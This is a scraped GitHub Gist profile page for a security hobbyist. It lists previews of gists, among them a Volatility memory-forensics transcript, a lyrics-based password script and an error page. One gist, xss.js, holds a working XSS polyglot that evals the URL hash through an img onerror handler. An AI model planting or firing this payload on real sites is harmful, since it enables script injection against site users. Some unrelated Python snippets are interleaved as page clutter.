Skip to content

Instantly share code, notes, and snippets.

View thezakman's full-sized avatar
🏡
Working from home

Pedro Araujo thezakman

🏡
Working from home
View GitHub Profile
@thezakman
thezakman / choose.js
Created March 7, 2021 04:33
Red or Blue Pill XSS
/*
_____ ______ _____ _____ _____ _____ ______ _____ ____ _____ _________________
___|\ \ ___|\ \ |\ \ / /| ____|\ \|\ \ |\ \ ___|\ \ ____|\ \ ___|\ \ / \
| |\ \ | \ \ | \ \ / / | / /\ \\\ \| \ \ | |\ \ / /\ \ | |\ \\______ ______/
| | | || ,_____/|| \____\/ / // / \ \\| \ \ || | | | | | | || | | | \( / / )/
| | /_ _ / | \--'\_|/ \ | / / /| | | || \ | || | | | | |__| || |/____/ ' | | '
| |\ \ | /___/| \|___/ / / | | | || \ | || | | | | .--. || |\ \ | |
| | | | | \____|\ /
@thezakman
thezakman / xss.js
Created March 6, 2021 18:50
Testing
'';var msgbox;if(location.hash){eval(location.hash.slice(1))}else{alert(1)}//<img src="xxx://" onerror="if(location.hash){eval(location.hash.slice(1))}else{alert(1)}">
msgbox+1
# Longitude and latitude coordinates of the left bottom: (113.538285, 22.120002)
# Longitude and latitude coordinates of the right bottom: (113.548080, 22.120002)
# Longitude and latitude coordinates of the left top: (113.538285, 22.137862)
# import packages
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
# Longitude and latitude coordinates of the left bottom: (113.538285, 22.120002)
# Longitude and latitude coordinates of the right bottom: (113.548080, 22.120002)
# Longitude and latitude coordinates of the left top: (113.538285, 22.137862)
# import packages
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@thezakman
thezakman / volatility.txt
Created April 14, 2019 06:19
volatility
Get image profile
root@kali:/tmp# volatility -f investigate_this.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
...
get running process
root@kali:/tmp# volatility -f investigate_this.raw --profile=Win7SP1x86 pstree
@thezakman
thezakman / TheSickness.txt
Created April 7, 2019 06:12
album: "The Sickness" (2000)
addmnbnddmaddba
agsitfdwguapaya
aiwwjofotlifawiflisoolifmscba
atpithraatpitpraahitbrifmscba
atpitlwraatpitrwraatpiturifmscba
atwaettutgetdibtseeimeme
awidnmddiaddiaibagbibagbipnmdhmwdyhthmltmddiyhmwdyhtbsabwdywdyjfoadwcyjfoadwcyjlhadnsyhimfabfyidntsyssafwwyltshifmhicgrtd
aybndtwsyysbymmkaybndtwsyysb
bicifiboobicifibo
bidgidytmwcpiocdytictcwidliigs
#!/usr/bin/python
import sys
letra = open(sys.argv[1]).read().lower() #read lyrics .txt files
password = ""
body, .main-container, .list-group-item {
color: #fff !important;
background-color: #212529 !important; }
.card-title, .card-text, label {
color: #fff !important;}
.modal-content {
background-color: #212529 !important; }
@thezakman
thezakman / 404.html
Created April 1, 2019 22:53
blue screen of death
<!DOCTYPE html>
<!-- saved from url=(0039)http://www.scanarch.com/wpscan.php#scan -->
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<meta name="viewport" content="width=1000px, user-scalable=no">
<title>Error 404</title>
<style>
html {
height: 100%;